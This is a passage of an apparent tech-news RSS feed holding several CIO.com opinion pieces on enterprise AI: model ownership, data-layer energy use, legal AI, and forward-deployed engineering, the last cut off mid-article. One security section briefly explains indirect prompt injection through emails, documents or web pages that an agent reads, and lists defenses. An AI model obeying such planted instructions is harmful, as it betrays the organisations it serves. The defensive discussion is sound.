<p class="wp-block-paragraph">Writing on CIO.com this year, Floyd DCosta <a href="https://www.cio.com/article/4172558/the-next-digital-divide-ai-owners-vs-ai-renters.html">argued the divide is between enterprises that own their AI and those that rent it</a>, and later that <a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">closed-model dependency is outsourced intelligence with a vendor kill switch in your operations</a>. He is right. But the ownership question raises a harder one: own it how? I believe the answer is open-weight and open-source models, not because they are cheaper, but because they are structurally better suited to how serious organizations need to govern and protect AI at scale.</p>



<h2 class="wp-block-heading">Why closed models create governance problems</h2>



<p class="wp-block-paragraph">Building an enterprise AI program on closed, proprietary models from a single external provider is not a technology decision. It is a governance liability. The data confirms the exposure is already real.</p>



<p class="wp-block-paragraph"><a href="https://newsroom.ibm.com/2026-06-17-ibm-study-limited-control-and-rising-dependencies-leave-enterprises-exposed-in-the-age-of-ai">A June 2026 IBM Institute for Business Value study</a> of 1,000 senior executives found that 91% do not fully understand their AI vendor dependencies, 71% said switching providers would be difficult, and 81% said a seven-day vendor outage would cause severe disruption. These figures describe the baseline condition of enterprise AI in 2026.</p>



<p class="wp-block-paragraph">Think about what you give up. You cannot audit the training data. You have no visibility into how the model changes between versions. Your cost structure is set by someone else’s pricing team. And if that provider faces a government directive, a supply disruption or a commercial decision to reprice, you have no leverage and often no warning. For a generic SaaS tool, that is an inconvenience. For organizations in defense, healthcare or financial services, where data handling is regulated by law and audit trails are mandatory, a vendor changing model access terms overnight is a compliance event.</p>



<p class="wp-block-paragraph">The most vivid demonstration came in June 2026, when the U.S. Commerce Department <a href="https://fortune.com/2026/06/13/anthropic-disables-fable-mythos-export-controls-national-security-threat/">ordered Anthropic to suspend access to Fable 5 and Mythos 5 for all foreign nationals</a>, including its own non-citizen employees. The result was a hard global shutoff for every customer, with no advance notice. Enterprises with production workflows on those models were left with nothing. The precedent is now set.</p>



<p class="wp-block-paragraph">This is what AI governance exposure looks like in practice. When your intelligence layer sits entirely outside your control, a single government directive, pricing change or vendor decision can bring your AI operations to a halt. Having seen organizations scramble through exactly this scenario, I can say the ones with no continuity plan are the most exposed. The IBM numbers confirm it: most enterprises have not built the visibility, let alone the architecture, to absorb this kind of disruption. The question is not whether it will happen again. It is whether your architecture is ready when it does.</p>



<h2 class="wp-block-heading">Open-weight models have changed the equation</h2>



<p class="wp-block-paragraph">Until recently, the argument for closed frontier models was simple: they were dramatically better. That gap has narrowed faster than most enterprise technology leaders anticipated, and the conversation has shifted from capability to control.</p>



<p class="wp-block-paragraph">Open-weight models, including Meta’s Llama family, Alibaba’s Qwen series, Zhipu AI’s GLM and DeepSeek, have moved well past the research stage. They are running in production at serious organizations, and not because those organizations could not afford anything better. They chose them because open-weight models give them something closed models cannot: control.</p>



<p class="wp-block-paragraph"><a href="https://www.forbes.com/sites/anishasircar/2026/05/21/airbnb-ceo-brian-chesky-called-chinese-ai-fast-and-cheap-now-congress-wants-answers/">Airbnb’s adoption of Alibaba’s Qwen</a> makes the case plainly. CEO Brian Chesky stated that the company relies heavily on Qwen to power its customer service agent, describing it as “very good” and “fast and cheap,” while noting that OpenAI’s SDK was not ready for the depth of integration Airbnb needed. The agent runs across 13 different models. That is not a cost-cutting move. It is a deliberate multi-model architecture built around control, not just capability.</p>



<p class="wp-block-paragraph"><a href="https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork">Microsoft’s evaluation of DeepSeek V4 for Copilot Cowork</a>, reported by Axios in June 2026, tells the same story. The company is exploring a self-hosted DeepSeek to replace the Anthropic and OpenAI models powering its enterprise agentic product, driven by unsustainable costs at scale. Charles Lamanna, Microsoft’s executive vice president for Copilot, agents and platform, told Axios: “We have users who do hundreds of tasks a week… the consequence is the costs can go very high.” The IBM study’s full findings add context: organizations pay 2.8 times more in token processing when AI runs far from the data it depends on.</p>



<p class="wp-block-paragraph">When Airbnb and Microsoft are making these choices in production, the market signal is unambiguous. Open weight is not a fallback. It is the architecture direction serious enterprises are moving toward.</p>



<p class="wp-block-paragraph">Some of these models are Chinese in origin, and yes, that has drawn attention from U.S. lawmakers. Those are real conversations worth having. But here is the practical point: a model running inside your own infrastructure, under your own security controls, gives you more governance than a closed model running on a server you do not own, regardless of where either was built.</p>



<h2 class="wp-block-heading">Three forces accelerating the shift</h2>



<p class="wp-block-paragraph">Three things are pushing enterprises in this direction, and none of them are going away.</p>



<ul class="wp-block-list">
<li><strong>Cost at scale.</strong> Every API call compounds. Open-weight models on your own infrastructure convert that variable cost into one your organization controls. The <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">IBM study</a> found misaligned AI infrastructure costs enterprises 2.8 times more in token processing. Microsoft’s DeepSeek evaluation is that logic at the largest scale in the industry.</li>



<li><strong>Data protection.</strong> Consider what this means for a hospital routing patient records through a third-party AI API, a defense contractor using a closed model to analyze procurement data, or bank feeding client financials into an external inference endpoint. In each case, compliance is contingent on a vendor relationship the organization does not fully control. HIPAA does not care whether your AI vendor had a good SLA. FedRAMP authorization does not transfer because a model performed well on a benchmark. Regulators expect organizations to demonstrate control over where sensitive data goes, and a closed frontier API is not a defensible answer. The <a href="https://newsroom.ibm.com/2026-06-17-ibm-study-limited-control-and-rising-dependencies-leave-enterprises-exposed-in-the-age-of-ai">IBM study</a> found 68% of executives say meeting data residency and sovereignty requirements across geographies is already challenging. Open-weight models deployed within your own environment remove that exposure entirely. The data does not leave your perimeter, full stop.</li>



<li><strong>Sovereignty.</strong> The Fable 5 episode made clear that your AI capability is only as sovereign as the provider you depend on. For defense primes, intelligence contractors and any organization operating under jurisdiction-specific regulations, this is an existential design question, not a preference. Open-weight models, deployable under your own governance in any environment, are the only architecture that resolves it.</li>
</ul>



<h2 class="wp-block-heading">What this means for enterprise AI architecture</h2>



<p class="wp-block-paragraph">In conversations with technology leaders, the same pattern keeps surfacing: organizations that started with a single frontier provider for speed are now the most constrained when they try to scale, govern or adapt. This is especially acute in regulated sectors. A healthcare organization that built clinical documentation on a closed frontier model faces a hard question every time that vendor changes its data processing terms. A defense contractor with a closed model embedded in its logistics pipeline must revisit its authorization to operate every time the model updates silently. The implication is not to abandon frontier models entirely. It is to stop building AI programs that depend on them as the sole or default layer.</p>



<p class="wp-block-paragraph">The practical answer is a multi-model architecture: frontier models where the capability genuinely justifies the cost and the data exposure, open-weight models running on your own infrastructure for everything else. Not every task needs the most powerful model available. And not every task should leave your perimeter.</p>



<p class="wp-block-paragraph">DCosta framed the coming divide as between AI owners and AI renters. I would take that one step further. The organizations that will genuinely own their AI are the ones building the infrastructure, governance and internal capability to run open-weight models on their own terms, right now. The ones that continue to depend entirely on closed frontier providers are not owners, whatever they call themselves. They are renters, and their leases can be terminated, repriced or restricted at any time. The <a href="https://newsroom.ibm.com/2026-06-17-ibm-study-limited-control-and-rising-dependencies-leave-enterprises-exposed-in-the-age-of-ai">IBM study</a> makes the stakes clear: 57% of executives say replacing a core AI model would require significant decoupling or a full rebuild. The longer you wait to build portability in, the harder it gets.</p>



<p class="wp-block-paragraph">The best AI model is not the one with the highest benchmark score. It is the one that fits into an architecture your organization governs.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your data layer is AI’s most critical climate technology]]></title>
<description><![CDATA[I have spent enough time building cloud and AI infrastructure to know one thing: Efficiency problems never show up where teams expect them. They tend to sit just beneath the surface, quietly shaping outcomes long before they appear in the metrics anyone is tracking. Most enterprise conversations ...]]></description>
<link>https://tsecurity.de/de/3697429/it-security-nachrichten/why-your-data-layer-is-ais-most-critical-climate-technology/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697429/it-security-nachrichten/why-your-data-layer-is-ais-most-critical-climate-technology/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:34 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have spent enough time building cloud and AI infrastructure to know one thing: Efficiency problems never show up where teams expect them. They tend to sit just beneath the surface, quietly shaping outcomes long before they appear in the metrics anyone is tracking. Most enterprise conversations still center on token pricing. That focus makes sense. The per-unit cost of using models has fallen quickly, and organizations want to understand whether AI can scale without pushing budgets out of bounds.</p>



<p class="wp-block-paragraph">That question has become more complicated than it looks. At the same time, the nature of each interaction has changed. What used to resemble a straightforward exchange now involves retrieval and ongoing reasoning that unfolds across multiple steps. Even with lower unit costs, total consumption continues to rise because each request requires more underlying work. This creates a contradiction. Tokens are cheaper, yet overall compute demand keeps increasing. That compute demand has to go somewhere, and where it goes is a growing problem. </p>



<p class="wp-block-paragraph">The answer, increasingly, is the power grid. The International Energy Agency has warned that <a href="https://www.iea.org/reports/energy-and-ai">AI and data centers</a> are becoming a major source of electricity demand, and Goldman Sachs Research has projected that data center power demand could rise <a href="https://www.goldmansachs.com/insights/articles/ai-to-drive-165-increase-in-data-center-power-demand-by-2030">165% by 2030</a> compared with 2023 levels. Today, electricity consumption from data centers already amounts to roughly 415 terawatt hours, or about <a href="https://www.iea.org/reports/energy-and-ai/energy-demand-from-ai">1.5% of global electricity use</a>, and has been growing at roughly 12% annually over the past five years. Much of the response has focused on models or hardware. Both matter, but they do not explain the full picture. In enterprise environments, a meaningful share of inefficiency begins before a model processes anything at all. It begins in the data layer.</p>



<h2 class="wp-block-heading">The paradox: Cheaper tokens, more total compute</h2>



<p class="wp-block-paragraph">I have seen this pattern play out before. When unit costs drop, usage expands and everyone is surprised, every time. AI is following that same trajectory.</p>



<p class="wp-block-paragraph">Lower token pricing has made it easier to integrate models into more workflows. Those workflows have also become more involved. Systems retrieve broader context and revisit outputs before returning a result. The additional activity outweighs the savings from lower pricing. In many cases, a system prompt alone can consume <a href="https://www.mindstudio.ai/blog/token-based-pricing#:~:text=Longer%20prompts%20consume%20more%20input,can%20easily%20accumulate%2015%2C000+%20tokens">2,000–5,000 tokens</a> before a user even contributes input, which means the baseline cost of each interaction has already expanded. This is no longer just a financial consideration. Increased compute demand brings increased energy consumption, which is becoming a central constraint for enterprise AI.</p>



<h2 class="wp-block-heading">Why agentic AI changes the energy equation</h2>



<p class="wp-block-paragraph">Average load: It rarely tells the full story. A platform can appear stable while quietly absorbing constant internal work that never surfaces to users. Agentic AI introduces that kind of persistent demand.</p>



<p class="wp-block-paragraph">An agent continues operating in the background even after a user interaction ends. It checks for new inputs, revisits its internal state, then prepares the next action. That ongoing loop changes how infrastructure is consumed. Instead of handling activity in bursts, systems begin to carry a steady baseline load. Compute usage becomes continuous rather than intermittent.</p>



<p class="wp-block-paragraph">This shift exposes inefficiencies that might otherwise go unnoticed. A slow query or a fragmented data source affects far more than a single request. The same issue repeats continuously, which increases both cost and energy consumption over time. This matters even more as inference workloads scale, with projections suggesting they could account for <a href="https://www.mckinsey.com/featured-insights/week-in-charts/the-future-of-ai-workloads">more than 40%</a> of data center demand by 2030.</p>



<h2 class="wp-block-heading">The overlooked source of energy growth: The data layer</h2>



<p class="wp-block-paragraph">In almost every architecture review I’ve sat through, attention gravitates toward model performance or infrastructure spend. The data layer gets treated as an afterthought. That assumption falls apart the moment you move into retrieval-heavy AI. </p>



<p class="wp-block-paragraph">Agents depend on access to reliable context. They pull information from operational systems as well as analytical platforms. When those sources are disconnected, each interaction requires additional effort to assemble a usable view.</p>



<p class="wp-block-paragraph">That effort accumulates quickly. Data must first be located before it can be used. It often needs to be moved into another environment, then reshaped into a format the model can process. Only after that does it become useful for decision-making. Each step introduces overhead that consumes compute and energy. In practice, engineers can <a href="https://www.jmp.com/en/blog/data-prep/stop-wasting-time-on-data-preparation">spend up to 40%</a> of their time preparing data before it is even usable for downstream systems. The model remains the most visible part of the system, but the surrounding data work often determines how much energy the system ultimately uses.</p>



<h2 class="wp-block-heading">Fragmentation as the root cause</h2>



<p class="wp-block-paragraph">Enterprise architectures evolve over time, and fragmentation usually reflects a series of reasonable decisions rather than a single mistake. The challenge appears when AI systems need to operate across all environments at once.</p>



<p class="wp-block-paragraph">Fragmentation forces repeated work. Systems retrieve overlapping datasets because no single source is trusted as authoritative. Pipelines reprocess information that already exists elsewhere. Teams build parallel structures instead of relying on shared ones.</p>



<p class="wp-block-paragraph">This pattern increases demand in ways that are easy to overlook. When retrieval becomes inconsistent, applications compensate by sending more context than necessary. Models then process larger inputs, which increases token usage without improving the quality of the outcome. What appears to be a model efficiency issue often traces back to data architecture. It also helps explain why as many as <a href="https://www.businessinsider.com/sc/the-data-readiness-gap-holding-back-roi">60% of AI projects</a> are abandoned before reaching production, often due to gaps in data readiness rather than model capability.</p>



<h2 class="wp-block-heading">Why sovereign, unified architecture changes the math</h2>



<p class="wp-block-paragraph">I have seen organizations improve efficiency without changing models simply by reducing friction in how data is accessed. The good news is that the fix is closer than most teams assume. </p>



<p class="wp-block-paragraph">A more unified architecture shortens the path between a question and the data needed to answer it. When systems can access authoritative data directly, they avoid repeated transformations and unnecessary duplication. Retrieval becomes more precise, which allows models to operate with less excess input.</p>



<p class="wp-block-paragraph">This does not require consolidating everything into a single system. Enterprises will continue to operate across multiple environments. The objective is to reduce unnecessary movement and make data easier to use wherever it resides. Sovereignty and control play an important role as well. Organizations operating across different environments need a clear understanding of where data resides and how it can be used. When governance is built into the architecture, systems spend less time reconciling access and more time producing results. Reducing friction at this layer has a direct effect on both cost and energy use.</p>



<h2 class="wp-block-heading">What 2026 will expose</h2>



<p class="wp-block-paragraph">The next phase of enterprise AI will shift attention from access cost to operating cost. Early efforts focused on whether organizations could use advanced models. The next stage focuses on whether those systems can run continuously across real workflows without creating unsustainable demand.</p>



<p class="wp-block-paragraph">That shift will make energy consumption more visible. It will also make inefficiencies harder to ignore. Some increase in demand reflects real value. Systems that improve decision-making or streamline operations will naturally require more compute. The more difficult question is whether additional consumption reflects useful work or avoidable overhead.</p>



<p class="wp-block-paragraph">When systems repeatedly move and reprocess the same data, the increase in energy use does not correspond to better outcomes. It reflects architectural inefficiency. CIOs will need to examine that distinction more closely.</p>



<h2 class="wp-block-heading">The takeaway for tech leaders</h2>



<p class="wp-block-paragraph">Before adding infrastructure, ask an honest question: Is this capacity supporting real growth, or is it just hiding inefficiencies that should have been fixed first? Start with the data layer.</p>



<p class="wp-block-paragraph">Review how systems retrieve context. Look for duplication across environments. Identify where data is repeatedly transformed before it becomes usable. These patterns reveal whether the architecture is enabling efficient AI or creating unnecessary demand.</p>



<p class="wp-block-paragraph">Enterprise systems will always involve complexity. The objective is to ensure that complexity does not translate into avoidable work. In the agentic era, the efficiency of AI systems is closely tied to how much work happens before the model produces an answer. Data architecture plays a central role in determining whether that work remains controlled or expands beyond what is necessary.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Control is the feature: The real AI risk is the lawyer you told not to use it]]></title>
<description><![CDATA[The real risk in legal AI is not the lawyer who studies these tools. It is the associate who quietly pastes a client’s contract into a free chatbot at 11 p.m. because a brief is due and nobody gave them anything better.



That lawyer exists at your firm right now. Survey after survey confirms it...]]></description>
<link>https://tsecurity.de/de/3697436/it-security-nachrichten/control-is-the-feature-the-real-ai-risk-is-the-lawyer-you-told-not-to-use-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697436/it-security-nachrichten/control-is-the-feature-the-real-ai-risk-is-the-lawyer-you-told-not-to-use-it/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:34 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The real risk in legal AI is not the lawyer who studies these tools. It is the associate who quietly pastes a client’s contract into a free chatbot at 11 p.m. because a brief is due and nobody gave them anything better.</p>



<p class="wp-block-paragraph">That lawyer exists at your firm right now. <a href="https://www.lawnext.com/2026/03/ai-adoption-among-legal-professionals-has-more-than-doubled-in-a-year-new-8am-report-finds-but-firms-lag-far-behind-individual-practitioners.html">Survey after survey</a> confirms it, and common sense confirms it faster. The tools are free, fast and remarkably good at exactly the drudgery that fills a litigator’s week. Telling people not to use them is like telling people not to use search engines. The use does not stop. It just goes underground, where there is no policy, no supervision and no control over where the client’s information lands.</p>



<p class="wp-block-paragraph">That is the problem worth writing about. Not whether AI will replace lawyers. Whether lawyers will manage it or pretend it away.</p>



<h2 class="wp-block-heading">The false choice</h2>



<p class="wp-block-paragraph">Most firms have picked one of two postures, and both are less careful than they feel.</p>



<p class="wp-block-paragraph">The first is <strong>prohibition</strong>. Ban the tools, circulate a stern memo, move on. This feels responsible. It is not. Prohibition does nothing to the demand side. The work is still crushing, the tools are still one browser tab away and the memo guarantees that when someone uses them anyway, and someone will, they will not tell you. You have not eliminated the risk. You have blinded yourself to it.</p>



<p class="wp-block-paragraph">The second is <strong>procurement</strong>. Buy an enterprise legal AI platform, sign the vendor’s security addendum and trust the marketing. This feels responsible too. But most lawyers who buy these platforms cannot tell you where the data goes, what the vendor retains, whether client documents train someone else’s model or what happens inside the black box between the upload and the answer. You have not exercised judgment. You have outsourced it, along with your client’s data flow, to a sales team.</p>



<p class="wp-block-paragraph">Neither posture asks the lawyer to actually <em>understand</em> the technology. That is the tell. We would never let an associate cite a case they have not read. Yet firms routinely adopt, or ban, tools that nobody in the building has taken apart.</p>



<h2 class="wp-block-heading">The third path</h2>



<p class="wp-block-paragraph">There is a third posture, and a small but growing movement of lawyers has already taken it. Some call them “legal quants,” a borrowed term from finance, where quantitative analysts stopped waiting for vendors and built their own instruments. The legal version is a lawyer who learns enough about how these systems work to build careful, narrow, controlled tools for their own practice, rather than banning the technology or buying whatever is on offer.</p>



<p class="wp-block-paragraph">This is not hypothetical, and it is not confined to coastal tech firms. One of my law partners went through an intensive legal-tech residency and came back with a working tool he built himself, one that handles a defined slice of our document work, runs under conditions he set and keeps client material inside boundaries he can actually describe. I am deliberately light on the details, because the program matters less than the posture. He did not buy a promise. He built an instrument, and he knows exactly what it does and does not do.</p>



<p class="wp-block-paragraph">That knowledge is the whole point.</p>



<h2 class="wp-block-heading">Where this actually bites</h2>



<p class="wp-block-paragraph">My practice is commercial litigation in Georgia. Contract disputes, business torts, healthcare litigation. It is document-heavy in the way that grinds people down: thousand-page productions, deposition transcripts, discovery responses that have to be checked against each other line by line.</p>



<p class="wp-block-paragraph">The judgment in that work lives in the seams. Which limitation-of-liability clause actually controls. Which answer to Interrogatory 14 contradicts what the witness said on page 212. Whether a document is privileged or merely embarrassing. AI is genuinely useful at surfacing those seams faster, organizing, comparing, flagging. It is genuinely dangerous when it is trusted to resolve them.</p>



<p class="wp-block-paragraph">A controlled tool respects that line by design. It surfaces, and the lawyer decides. An off-the-shelf chatbot respects no line at all, because nobody drew one.</p>



<h2 class="wp-block-heading">Confidentiality cuts the other way</h2>



<p class="wp-block-paragraph">Here is what the hand-wringing pieces get backwards. Confidentiality is not the reason to avoid understanding these tools. It’s the reason you must.</p>



<p class="wp-block-paragraph">A lawyer who understands how a language model handles information is far better positioned to protect client confidences than one who does not. They know what gets transmitted, what gets retained, what gets logged and where inference actually runs. They can read a vendor’s data-handling terms and know which questions to ask. They can configure a tool so that client documents never leave a controlled environment. They can spot the difference between real security architecture and a badge on a website.</p>



<p class="wp-block-paragraph">The lawyer who “protects confidentiality” by refusing to learn cannot do any of that. Their protection is a memo. The other’s is control. Under <a href="https://www.americanbar.org/news/abanews/aba-news-archives/2024/07/aba-issues-first-ethics-guidance-ai-tools/">Rule 1.6 and our duty of technological competence</a>, control is what the obligation actually demands.</p>



<h2 class="wp-block-heading">The honest limits</h2>



<p class="wp-block-paragraph">None of this replaces judgment, and nothing I have described runs unsupervised. Every output gets reviewed by a lawyer who answers for it, to the client, to the court, to the bar. These systems draft, sort, compare and flag. They do not sign. The hallucinated-citation sanctions cases <a href="https://www.thomsonreuters.com/en-us/posts/technology/genai-hallucinations/">all share one fact pattern</a>: a lawyer who skipped the review. The tool did not fail. The posture did.</p>



<h2 class="wp-block-heading">What clients are already asking</h2>



<p class="wp-block-paragraph">Clients are already asking how their lawyers use AI, and the answers they deserve are specific ones. What we use, what we built, where their information goes and who checks the work. Firms that can answer will earn trust. Firms whose real answer is “we banned it, and we hope everyone complied” will not.</p>



<p class="wp-block-paragraph">The profession does not need more hype, and it does not need more fear. It needs lawyers willing to take these systems apart, keep a human in charge and build tools worthy of the confidences we hold. Some of us have started. The rest should catch up.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Forward-deployed engineering in the age of agentic AI: From vibe coding to governed autonomy]]></title>
<description><![CDATA[Forward-deployed engineering (FDE), has moved from being a niche delivery model to becoming one of the most important operating patterns for enterprise artificial intelligence. In traditional software programs, organizations could usually separate product engineering, implementation consulting, o...]]></description>
<link>https://tsecurity.de/de/3697438/it-security-nachrichten/forward-deployed-engineering-in-the-age-of-agentic-ai-from-vibe-coding-to-governed-autonomy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697438/it-security-nachrichten/forward-deployed-engineering-in-the-age-of-agentic-ai-from-vibe-coding-to-governed-autonomy/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:34 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Forward-deployed engineering (FDE), has moved from being a niche delivery model to becoming one of the most important operating patterns for enterprise artificial intelligence. In traditional software programs, organizations could usually separate product engineering, implementation consulting, operations and governance into different teams. Agentic AI changes that separation. An agent does not merely answer a question; it may plan, call tools, read enterprise data, update systems, create artifacts, trigger approvals and continue across several steps. Because of this, production success depends less on a model demo and more on the careful engineering of business context, workflow boundaries, controls, observability and human accountability.</p>



<p class="wp-block-paragraph">FDE addresses this gap by embedding engineering capability close to the business problem. A forward-deployed engineer works with product teams, domain experts, security teams, platform owners and end users to convert an AI idea into a working, governed, measurable system. The role combines software engineering, data engineering, cloud architecture, model evaluation, security design, user research and operational ownership. In the Agentic AI world, this blend is not optional. It is the difference between a clever prototype and a dependable production workflow.</p>



<h2 class="wp-block-heading">Why FDE is needed in agentic AI</h2>



<p class="wp-block-paragraph">Agentic AI deployment is rarely a simple matter of selecting a foundation model and connecting it to a user interface. Enterprise agents operate inside business processes that already contain policies, data quality issues, exception paths, audit requirements, identity controls and legacy systems. A sales operations agent, for example, may need to read CRM records, interpret account notes, generate a renewal recommendation, check discount eligibility, route an approval and update the opportunity. Each of those steps introduces risk. The agent must know what it is allowed to do, what it should never do, when it must ask a human and how its decisions can be traced later.</p>



<p class="wp-block-paragraph">This is where FDE becomes valuable. FDE teams do not treat Agentic AI as a packaged tool to be installed. They treat it as a socio-technical system that must be shaped around a real business workflow. They discover the actual process, map data dependencies, identify integration points, define controls, implement the orchestration, create evaluation suites and help the client team learn how to operate the system after the initial deployment. The forward-deployed model is therefore especially suited to the last mile of AI adoption, where most enterprise AI initiatives struggle. This view is consistent with Gartner’s guidance that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-05-26-gartner-says-applying-uniform-governance-across-ai-agents-will-lead-to-enterprise-ai-agent-failur">enterprise AI agent success depends on proportional governance</a> aligned to autonomy level and scope of access.</p>



<h2 class="wp-block-heading">The FDE operating model</h2>



<p class="wp-block-paragraph">A mature FDE operating model normally follows a compressed but disciplined cycle. The team first clarifies the business outcome rather than accepting the initial solution request at face value. Next, it decomposes the workflow into tasks, decisions, systems, data sources and approval points. It then builds a thin production slice rather than a detached proof of concept. This slice includes real authentication, realistic data, monitored tool calls, repeatable tests and rollback options. Once the system is usable, the FDE team iterates with business users, tunes the agent behavior, improves the prompts or policies, hardens the integration layer and transfers operating knowledge to the internal team.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/fde-continuous-improvement.png?w=1024" alt="Figure 1: A matured FDE operating model" class="wp-image-4202406" width="1024" height="614" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: A matured FDE operating model</em>.</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph">The important distinction is that FDE is not conventional staff augmentation. It is also not advisory consulting that ends with a roadmap. FDE is outcome-oriented engineering in the field. The engineer is close enough to the customer environment to see real constraints, yet technical enough to change the system directly. In Agentic AI, that proximity matters because small details can decide whether a workflow is trusted: a missing approval step, an overly broad tool permission, an unlogged data access, a weak retry policy or an untested edge case can undermine the entire deployment. Forrester similarly positions agentic AI as a <a href="https://www.forrester.com/blogs/agentic-ai-is-the-next-competitive-frontier/">competitive frontier that requires leaders to redesign workflows, governance and engagement models</a> rather than simply automate existing tasks.</p>



<h2 class="wp-block-heading">Operationalizing multi-step agentic workflows</h2>



<p class="wp-block-paragraph">Operationalization begins by turning an agent idea into an explicit workflow. Instead of saying, “build an agent that handles vendor onboarding,” an FDE team defines the stages: collect supplier information, validate tax details, screen sanctions lists, check contract thresholds, request procurement approval, create a supplier record and notify stakeholders. Each stage is assigned to a deterministic function, an AI agent, a human approver or a hybrid step. This decomposition reduces ambiguity and makes it easier to govern the process.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/operationalizing-an-agent-workflow-with-fde.png?w=1024" alt="Figure 2: Operationalizing an agent workflow with FDE." class="wp-image-4202407" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 2: Operationalizing an agent workflow with FDE.</em></figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph">In production, an FDE must design for state, retries, failures, idempotency and observability. Agentic workflows may run for minutes, hours or days. They may wait for an external API, pause for approval, recover from a system outage or resume after a user changes input. A robust implementation therefore needs checkpoints, durable state, structured event logs, trace IDs, policy-aware tool execution and dashboards that show where the workflow is stuck. Without these engineering controls, an agent may appear intelligent in a demo but become fragile in live operations. IDC’s perspective on agent adoption also highlights that the <a href="https://www.idc.com/resource-center/blog/agent-adoption-the-it-industrys-next-great-inflection-point/">scale of enterprise agents will create major demands around orchestration, token efficiency, governance and cost containment</a>.</p>



<h2 class="wp-block-heading">Governing agentic AI through FDE</h2>



<p class="wp-block-paragraph">Governance in Agentic AI cannot be added as a final compliance checklist. It must be embedded into the workflow design. FDE teams help by translating policy into executable controls. For example, they can define which tools an agent may call, which data classes it can access, what confidence thresholds require escalation, which outputs need review and how exceptions are recorded. They also help establish evaluation datasets that reflect real operating scenarios rather than sanitized prompts.</p>



<p class="wp-block-paragraph">A practical governance model usually contains five layers. The first is intent governance, which verifies that the agent is solving an approved business problem. The second is data governance, which controls source quality, access, retention and lineage. The third is tool governance, which restricts actions such as writing to systems, sending emails, executing code or changing financial records. The fourth is decision governance, which determines where humans must approve or override agent recommendations. The fifth is runtime governance, which monitors drift, failure patterns, cost, latency and policy violations. Gartner’s 2026 guidance on AI agent governance reinforces this need for differentiated controls, warning that uniform governance across all agents can create both over-restriction and under-restriction risks.</p>



<h2 class="wp-block-heading">Securing agentic AI workflows</h2>



<p class="wp-block-paragraph">Security for Agentic AI is broader than prompt safety. Agents can act and every action surface must be secured. FDE teams typically implement least-privilege access, scoped credentials, tool allowlists, secrets isolation, input validation, output filtering, data loss prevention checks and protected execution environments. They also design approval gates for high-impact operations. A procurement agent may be allowed to draft a purchase order, but it should not submit the order above a threshold without explicit authorization.</p>



<p class="wp-block-paragraph">Another important responsibility is defending against indirect prompt injection and tool misuse. If an agent reads an email, document, ticket or web page, that content may contain instructions that attempt to override the system policy. FDE engineers reduce this risk by separating instructions from data, sanitizing retrieved content, validating tool arguments, limiting write permissions and logging every external action. In regulated environments, they also design audit trails that show not only the final answer but the path the agent took to reach it. Forrester’s AEGIS framework similarly argues that <a href="https://www.forrester.com/blogs/introducing-aegis-the-guardrails-cisos-need-for-the-agentic-enterprise/">agentic AI security must move beyond traditional infrastructure-centric controls</a> toward intent-aware guardrails, observability, accountability and least-agency principles.</p>



<h2 class="wp-block-heading">FDE and vibe coding: Relationship and tension</h2>



<p class="wp-block-paragraph">Vibe coding refers to a style of AI-assisted software development where a person expresses intent in natural language and an AI system generates much of the code. It can be extremely useful for prototyping, exploration, internal tools and rapid experimentation. In the context of FDE, vibe coding can accelerate the early build cycle because forward deployed engineers can quickly sketch integrations, generate boilerplate, create test harnesses and explore workflow alternatives with AI coding assistants.</p>



